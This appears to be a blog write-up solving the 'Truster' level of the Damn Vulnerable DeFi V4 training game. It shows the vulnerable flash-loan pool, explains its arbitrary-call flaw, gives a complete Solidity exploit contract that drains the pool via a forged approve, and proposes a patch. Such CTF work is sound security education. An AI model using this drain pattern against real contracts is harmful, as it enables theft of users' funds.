Damn Vulnerable DeFi V4 - 03 Truster

Challenge


More and more lending pools are offering flashloans. In this case, a new pool has launched that is offering flashloans of DVT tokens for free.

The pool holds 1 million DVT tokens. You have nothing.

To pass this challenge, rescue all funds in the pool executing a single transaction. Deposit the funds into the designated recovery account.

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";

contract TrusterLenderPool is ReentrancyGuard {
    using Address for address;

    DamnValuableToken public immutable token;

    error RepayFailed();

    constructor(DamnValuableToken _token) {
        token = _token;
    }

    function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore) {
            revert RepayFailed();
        }

        return true;
    }
}

Solve

This contract looks quite simple, We only need to use a single transaction to drain the tokens held by TrusterLenderPool contract and move them to the recovery account.

function _isSolved() private view {
    // Player must have executed a single transaction
    assertEq(vm.getNonce(player), 1, "Player executed more than one tx");

    // All rescued funds sent to recovery account
    assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens");
    assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "Not enough tokens in recovery account");
}

Let’s analyze the code of the TrusterLenderPool contract.

In the flashLoan(…) function, TrusterLenderPool contract takes a snapshot of its own token balance first, then optimistically transfers the loan to the borrower address, then calls any function of the target address (based on the value in data), and finally compares it with the snapshot to check the target.functionCall(data) whether there is actual repayment during the period.

function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
    external
    nonReentrant
    returns (bool)
{
    uint256 balanceBefore = token.balanceOf(address(this));

    token.transfer(borrower, amount);
    target.functionCall(data);

    if (token.balanceOf(address(this)) < balanceBefore) {
        revert RepayFailed();
    }

    return true;
}

The vulnerability of this function is that target.functionCall(data) does not restrict or verify the target and data. As a result, the function caller can call the function of any contract as TrusterLenderPool, such as ERC20Token.approve(…).

Let’s summarize the attack steps:

  1. Initiate a TrusterLenderPool.flashLoan(…) function call.

    • The target argument must be DamnValuableToken contract.

    • The data must be approve(spender=MY_EOA_WALLET, value=type(uint256).max)

  2. Initiate a DamnValuableToken.transferFrom(from=TrusterLenderPool, to=recovery, value=TOKENS_IN_POOL) function call.

Full solution code:

function test_truster() public checkSolvedByPlayer {
    new Exploit(token, pool, recovery, TOKENS_IN_POOL);
}
//============================================================
contract Exploit {
    constructor(DamnValuableToken token, TrusterLenderPool pool, address recovery, uint256 TOKENS_IN_POOL) {
        uint256 amount = 1;
        address borrower = address(pool);
        address target = address(token);
        bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max);
        pool.flashLoan(amount, borrower, target, data);
        token.transferFrom(address(pool), recovery, TOKENS_IN_POOL);
    }
}

Potential Patches

None, this level is just designed for fun.

If we want to break this game, we can add function argument validation logic in flashLoan(…) function.

function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
    external
    nonReentrant
    returns (bool)
{
    require(target != address(token), 'ERROR: Invalid target'); //@patch
    uint256 balanceBefore = token.balanceOf(address(this));

    token.transfer(borrower, amount);
    target.functionCall(data);

    if (token.balanceOf(address(this)) < balanceBefore) {
        revert RepayFailed();
    }

    return true;
}
0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣